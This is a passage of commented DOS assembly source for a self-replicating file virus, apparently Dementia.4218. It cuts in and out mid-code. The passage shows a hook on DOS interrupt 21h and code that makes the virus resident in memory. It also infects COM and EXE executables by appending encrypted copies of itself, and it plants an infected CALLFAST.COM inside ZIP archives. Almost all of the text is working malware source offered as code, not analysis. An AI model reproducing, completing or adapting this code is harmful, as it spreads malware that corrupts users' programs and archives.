jne tst_exe_exec ; Not equal? Jump to tst_exe_exec
lodsb ; AL = byte of extension
call upcase_char
cmp al,'O' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'M' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call inf_com_exe
jmp open_fi_exit
nop
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch
lodsb ; AL = byte of extension
call upcase_char
cmp al,'X' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'E' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call inf_com_exe
jmp open_fi_exit
nop
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'I' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
lodsb ; AL = byte of extension
call upcase_char
cmp al,'P' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit
call infect_zip
jmp open_fi_exit
nop
open_fi_exit:
pop si ax ; Load registers from stack
jmp tst_load_and
nop
dementia_fun:
mov al,02h ; Dementia.4218 function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit
call inf_com_exe
int21_exit:
popf ; Load flags from stack
jmp cs:[int21_addr]
endp
install proc near ; Allocate memory, move virus to t...
push es ; Save ES at stack
mov ah,52h ; Get list of lists
int 21h
mov ax,es:[bx-02h] ; AX = segment of first memory con...
next_mcb:
mov ds,ax ; DS = segment of current memory c...
mov al,ds:[00h] ; AL = block type
cmp al,'Z' ; Last block in chain?
je allocate_mem ; Equal? Jump to allocate_mem
mov ax,ds ; AX = segment of current memory c...
mov bx,ds:[03h] ; BX = size of memory block in par...
add ax,bx ; Add size of memory block in para...
inc ax ; AX = segment of next memory cont...
jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...
mov ax,ds ; AX = segment of last memory cont...
add ax,bx ; Add new size of memory block in ...
inc ax ; AX = segment of virus
mov es,ax ; ES = " " "
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory
push es ; Save ES at stack
lea ax,install_ ; AX = offset of install_
push ax ; Save AX at stack
retf ; Return far!
install_:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov word ptr [int21_addr+02h],es
mov word ptr [int21_addr],bx
lea dx,int21_virus ; DX = offset of int21_virus
mov ax,2521h ; Set interrupt vector 21h
int 21h
pop es ; Load ES from stack
ret ; Return!
endp
inf_com_exe proc near ; Infect COM/EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,06h ; Correct stack pointer
push ax bx cx dx si di ds es
call int24_store
call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit
call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov cx,20h ; Read thirty-two bytes
call read_file
mov ax,ds:[00h] ; AX = EXE signature
cmp ax,'MZ' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
cmp ax,'ZM' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
call infect_com
jmp call_mark
nop
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load
pop es ds di si dx cx bx ax
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_zip proc near ; Infect ZIP archive
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,28h ; Correct stack pointer
push ax bx cx dx si di ds es
xor ax,ax ; Didn't found file
mov [bp-0eh],ax ; Store didn't found CALLFAST.COM
mov [bp-10h],ax ; " " " REQUEST.IVA
mov [bp-12h],ax ; " " " RECEIPT.IVA
call int24_store
push dx ds ; Save registers at stack
lea dx,temp_file ; DX = offset of temp_file
nop
call create_file
mov [bp-0ah],ax ; Store file handle of !#TEMP#!
pop ds dx ; Load registers from stack
call open_file
jnc load_info_ ; No error? Jump to load_info_
jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file
call load_info
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
next_lfh_sig:
mov cx,04h ; Read four bytes
call read_file
mov ax,ds:[00h] ; AX = low-order word of file head...
cmp ax,'KP' ; Found low-order word of file ha...?
je test_dir_sig ; Equal? Jump to test_dir_sig
jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh
jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file
mov cx,ds:[16h] ; CX = filename length
mov dx,20h ; DI = offset of filename
call read_file_
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea di,request_iva ; DI = offset of request_iva
nop
mov si,20h ; SI = offset of filename
request_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of request_iva
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_reques ; Equal? Jump to found_reques
cmp ah,al ; Byte of filename equal to byte o...
jne find_callfas ; Not equal? Jump to find_callfas
jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
call set_pos_cfp
mov [bp-24h],ax ; AX = low-order word of extra field
mov [bp-22h],dx ; DX = high-order word of extra field
find_callfas:
lea di,callfast_com ; DI = offset of callfast_com
nop
mov si,20h ; SI = offset of filename
callfas_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of callfast_com
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_callfa ; Equal? Jump to found_callfa
cmp ah,al ; Byte of filename equal to byte o...
jne find_receipt ; Not equal? Jump to find_receipt
jmp callfas_loop
found_callfa:
mov ax,01h ; Found CALLFAST.COM
mov [bp-0eh],ax ; Store found CALLFAST.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva
inc di ; Increase index register
cmp ah,00h ; End of filename?
je found_receip ; Equal? Jump to found_receip
cmp ah,al ; Byte of filename equal to byte o...
jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr
jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit
call set_pos_cfp
jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2ah ; Read forty-two bytes
call read_file
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,ds:[18h] ; CX = filename length
mov bx,ds:[1ah] ; BX = extra field length
add cx,bx ; Add extra field length to filena...
mov bx,ds:[1ch] ; BX = file comment length
add cx,bx ; CX = number of bytes to read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,04h ; Read four bytes
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov ax,ds:[00h] ; AX = low-order word of end of ce...
cmp ax,'KP' ; Found low-order word of end of ...?
je test_eoc_sig ; Equal? Jump to test_eoc_sig
jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds
jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file
mov ax,ds:[0ch] ; AX = low-order word of offset of...
mov [bp-18h],ax ; Store low-order word of offset o...
mov ax,ds:[0eh] ; AX = high-order word of offset o...
mov [bp-16h],ax ; Store high-order word of offset ...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov cx,ds:[10h] ; CX = zipfile comment length
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_
mov ax,[bp-10h] ; AX = found REQUEST.IVA
or ax,ax ; Didn't found REQUEST.IVA
jz test_callfas ; Zero? Jump to test_callfas
jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found CALLFAST.COM
or ax,ax ; Didn't found CALLFAST.COM
jz create_file_ ; Zero? Jump to create_file_
jmp call_mark_
create_file_:
lea dx,callfast_com ; DX = offset of callfast_com
nop
call create_file
mov [bp-14h],ax ; Store file handle of CALLFAST.COM
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_
call close_file
mov ax,01h ; Don't test filesize
mov [tst_filesize],ax ; Store don't test filesize
lea dx,callfast_com ; DX = offset of callfast_com
nop
call inf_com_exe
xor ax,ax ; Test filesize
mov [tst_filesize],ax ; Store test filesize
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea si,callfast_com ; SI = offset of callfast_com
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move CALLFAST.COM to filename
open_filenam:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
call open_file
call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize
call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-16h] ; CX = high-order word of offset o...
mov dx,[bp-18h] ; DX = low-order word of offset of...
call set_pos_sof_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov ax,'KP' ; AX = low-order word of local hea...
mov ds:[00h],ax ; Store low-order word of local he...
mov ax,403h ; AX = high-order word of local hea...
mov ds:[02h],ax ; Store high-order word of local he...
mov ax,0ah ; AX = version needed to extract (v...
mov ds:[04h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[06h],ax ; Store general purpose bit flag
mov ds:[08h],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ah],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0ch],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[0eh],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[10h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[12h],ax ; Store low-order word of compress...
mov ds:[16h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[14h],ax ; Store high-order word of compres...
mov ds:[18h],ax ; Store high-order word of uncompr...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ah],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length (0 bytes)
mov ds:[1ch],ax ; Store extra field length (0 bytes)
mov cx,1eh ; Write thirty bytes
call write_file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
call set_pos_sof
copy_callfas:
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je copy_cds_ ; Equal? Jump to copy_cds_
mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call write_file
jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds
dec ax ; Decrease number of central direc...
mov [bp-0ch],ax ; Store number of central director...
mov ax,'KP' ; AX = low-order word of central d...
mov ds:[00h],ax ; Store low-order word of central ...
mov ax,201h ; AX = high-order word of central ...
mov ds:[02h],ax ; Store high-order word of central...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,2ah ; Read forty-two bytes
mov dx,04h ; DX = offset of central directory...
call read_file_
mov cx,ds:[1ch] ; CX = filename length
mov dx,ds:[1eh] ; DX = extra field length
add cx,dx ; Add extra field length to filena...
mov dx,ds:[20h] ; DX = file comment length
add cx,dx ; CX = number of bytes to read
push cx ; Save CX at stack
mov dx,2eh ; DX = offset of central directory...
call read_file_
mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,2eh ; Add size of central directory fi...
call write_file
jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,3021h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1ae1h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2eh ; Write forty-six bytes
call write_file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov ax,'KP' ; AX = low-order word of end of ce...
mov ds:[00h],ax ; Store low-order word of end of c...
mov ax,605h ; AX = high-order word of end of c...
mov ds:[02h],ax ; Store high-order word of end of ...
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,12h ; Read eightteen bytes
mov dx,04h ; DX = offset of end of central di...
call read_file_
mov cx,ds:[14h] ; CX = zipfile comment length
push cx ; Save CX at stack
mov dx,16h ; DX = offset of zipfile comment
call read_file_
mov ax,ds:[08h] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[08h],ax ; Store total number of entries in...
mov ax,ds:[0ah] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[0ah],ax ; Store total number of entries in...
mov ax,ds:[0ch] ; AX = low-order word of size of t...
mov dx,ds:[0eh] ; DX = high-order word of size of ...
add ax,3ah ; Add size of central directory fi...
nop
adc dx,00h ; Convert to 32-bit
mov ds:[0ch],ax ; Store low-order word of size of ...
mov ds:[0eh],dx ; Store high-order word of size of...
mov ax,ds:[10h] ; AX = low-order word of offset of...
mov dx,ds:[12h] ; DX = high-order word of offset o...
add ax,2ah ; Add size of local file header to...
nop
adc dx,00h ; Convert to 32-bit
mov bx,[bp-1ah] ; BX = high-order word of filesize
add dx,bx ; Add high-order word of filesize ...
mov bx,[bp-1ch] ; BX = low-order word of filesize
add ax,bx ; Add low-order word of filesize t...
adc dx,00h ; Convert to 32-bit
mov ds:[10h],ax ; Store low-order word of offset o...
mov ds:[12h],dx ; Store high-order word of offset ...
mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,16h ; Add size of end of central direc...
call write_file
mov bx,[bp-14h] ; BX = file handle of CALLFAST.COM
call close_file
lea dx,filename ; DX = offset of filename
nop
call delete_file
jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra
jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov es,ax ; ES = segment of data buffer
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cld ; Clear direction flag
xor si,si ; Zero SI
xor di,di ; Zero DI
lodsw ; AX = word of extra field
cmp ax,1492h ; Found infection mark?
je comp_extra ; Equal? Jump to comp_extra
jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra
jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of filespecification
push ax ; Save AX at stack
decrypt_next:
push cx ; Save CX at stack
mov cx,07h ; Decryption fourteen bytes
decrypt_spec:
lodsw ; AX = word of encrypted file spec...
xor ax,dx ; Decrypt word of file specification
stosw ; Store word of file specification
loop decrypt_spec
pop cx ; Load CX from stack
loop decrypt_next
mov ax,ds ; AX = segment of data buffer
add ax,40h ; AX = segment of pathname
mov es,ax ; ES = " " "
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov ah,47h ; Get current directory
xor dl,dl ; Default drive
xor si,si ; Zero SI
int 21h
pop ds ; Load DS from stack
mov ax,es ; AX = segment of pathname
add ax,04h ; AX = segment of end of pathname
mov es,ax ; ES = " " " " "
xor di,di ; Zero DI
mov al,'\' ; AL = backslash
stosb ; Store backslash
xor al,al ; AL = zero
stosb ; Store zero
push es ; Save ES at stack
mov ah,2fh ; Get disk transfer area address
int 21h
mov [bp-26h],es ; Store segment of disk transfer a...
mov [bp-28h],bx ; Store offset of disk transfer ar...
pop es ; Load ES from stack
push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
xor dx,dx ; Zero DX
mov ah,1ah ; Set disk transfer area address
int 21h
lea dx,receipt_iva ; DX = offset of receipt_iva
nop
call create_file
mov bx,ax ; BX = file handle of RECEIPT.IVA
mov [bp-14h],ax ; Store file handle of RECEIPT.IVA
pop ds ; Load DS from stack
pop ax ; Load AX from stack
mov dx,01h ; Don't store backslash
call create_recei
mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA
call set_pos_sof
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov es,ax ; ES = " " " " "
encrypt_rece:
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je set_dta_addr ; Equal? Jump to set_dta_addr
push ax ; Save AX at stack
xor dx,dx ; Zero DX
sub dx,ax ; DX = -number of bytes actually read
mov cx,-01h
call set_pos_cfp
pop ax ; Load AX from stack
push ax ; Save AX at stack
mov cx,ax ; CX = number of bytes actually read
xor si,si ; Zero SI
xor di,di ; Zero DI
encrypt_ipt_:
lodsb ; AL = byte of RECEIPT.IVA
xor al,0ffh ; Encrypt byte of RECEIPT.IVA
stosb ; Store encrypted byte of RECEIPT.IVA
loop encrypt_ipt_
pop ax ; Load AX from stack
mov cx,ax ; CX = number of bytes actually read
call write_file
jmp encrypt_rece
set_dta_addr:
call close_file
mov ds,[bp-26h] ; DS = segment of disk transfer area
mov dx,[bp-28h] ; DX = offset of disk transfer area
mov ah,1ah ; Set disk transfer area address
int 21h
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+40h
mov ds,ax ; DS = segment of data buffer
xor dx,dx ; Zero DX
mov ah,3bh ; Set current directory
int 21h
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea si,receipt_iva ; SI = offset of receipt_iva
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move RECEIPT.IVA to filename
jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark
mov bx,[bp-08h] ; BX = file handle of ZIP file
call close_file
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call close_file
lea dx,temp_file ; DX = offset of temp_file
nop
call delete_file
inf_zip_exit:
call int24_load
pop es ds di si dx cx bx ax
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_com proc near ; Infect COM file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer
mov ah,00h ; COM executable
nop
nop
mov cs:[com_or_exe],ah ; Store COM executable
mov ax,ds:[00h] ; AX = word of original code of CO...
mov word ptr cs:[origin_code],ax
mov al,ds:[02h] ; AL = byte of original code of CO...
mov cs:[origin_code+02h],al
call encrypt_copy
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
push ax ; Save AX at stack
mov ax,cs:[tst_filesize]
cmp ax,01h ; Don't test filesize?
pop ax ; Load AX from stack
je calc_buf_seg ; Equal? Jump to calc_buf_seg
cmp dx,00h ; Filesize too large?
jne inf_com_exit ; Not equal? Jump to inf_com_exit
cmp ax,1000h ; Filesize too small?
jb inf_com_exit ; Below? Jump to inf_com_exit
calc_buf_seg:
add ax,(code_end-code_begin)
jb inf_com_exit ; Filesize too large? Jump to inf_...
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov cx,10h ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
and ax,0000000000001111b
sub cx,ax ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
add ax,cx ; AX = offset of virus within file
mov [bp-04h],ax ; Store offset of virus within file
call write_file_
mov cx,(code_end-code_begin)
call write_file
mov al,0e9h ; JMP imm16 (opcode 0e9h)
mov ds:[00h],al ; Store JMP imm16
mov ax,[bp-04h] ; AX = filesize
sub ax,03h ; Subtract size of opcode JMP imm16
mov ds:[01h],ax ; Store 16-bit immediate
call set_pos_sof
mov cx,03h ; Write three bytes
call write_file
inf_com_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
infect_exe proc near ; Infect EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer
mov ah,01h ; EXE executable
nop
nop
mov cs:[com_or_exe],ah ; Store EXE executable
call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize
and ax,0000000000001111b
mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "
mov ax,[bp-04h] ; AX = low-order word of filesize
mov dx,[bp-02h] ; DX = high-order word of filesize
add ax,cx ; Add number of bytes to add to fi...
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
call write_file_
push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
sub dx,bx ; Subtract header size in sixty fi...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
sub ax,bx ; Subtract header size from filesize
sbb dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack
mov ax,ds:[14h] ; AX = original instruction pointer
mov cs:[instruct_ptr],ax
mov ax,ds:[16h] ; AX = original code segment
mov cs:[code_seg],ax ; Store original code segment
xor ax,ax ; Zero AX
mov ds:[14h],ax ; Store initial IP
mov cs:[initial_ip],ax ; Store " "
mov ax,[bp-02h] ; AX = high-order word of pointer ...
test ax,1111111111110000b
jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr
jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...
mov dx,[bp-04h] ; DX = low-order word of pointer t...
mov cl,04h ; Divide by paragraphs
shr dx,cl ; DX = low-order word of pointer t...
add ax,dx ; AX = initial CS relative to star...
mov ds:[16h],ax ; Store initial CS relative to sta...
mov cs:[initial_cs],ax ; " " " " " "
push ax ; Save AX at stack
mov ax,ds:[0eh] ; AX = initial SS relative to star...
mov cs:[stack_seg],ax ; Store initial SS relative to sta...
mov ax,ds:[10h] ; AX = initial SP
mov cs:[stack_ptr],ax ; Store initial SP
pop ax ; Load AX from stack
add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack
jmp inf_exe_exit
nop
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP
push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
add dx,bx ; Add header size in sixty-five th...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
add ax,bx ; Add header size to filesize
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
add ax,(code_end-code_begin)
adc dx,00h ; Convet to 32-bit
mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...
push ax ; Save AX at stack
mov cl,09h ; Divide by pages
shr ax,cl ; AX = low-order word of pointer t...
add dx,ax ; DX = number of bytes on last 512...
pop ax ; Load AX from stack
and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages
inc dx ; Increase number of bytes on last...
jmp store_pages_
nop
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...
mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc...
cmp ax,10h ; Maximum paragraphs to allocate ...?
jae store_maximu ; Above or equal? Jump to store_ma...
mov ax,10h ; AX = new maximum paragraphs to a...
store_maximu:
mov ds:[0ch],ax ; Store maximum paragraphs to allo...
call set_pos_sof
mov cx,20h ; Write thirty-two bytes
call write_file
call set_pos_eof
call encrypt_copy
mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
encrypt_copy proc near ; Move virus to data buffer and en...
push bx ; Save BX at stack
mov ah,2ch ; Get system time
int 21h
mov bx,cx ; BX = hour and minute
xor bx,dx ; BX = 16-bit random number
mov ah,2ah ; Get system date
int 21h
xor bx,cx ; BX = 16-bit random number
xor bx,dx ; BX = decryption key
mov dx,bx ; DX = " "
mov cs:[decrypt_key],dx ; Store decryption key
pop bx ; Load BX from stack
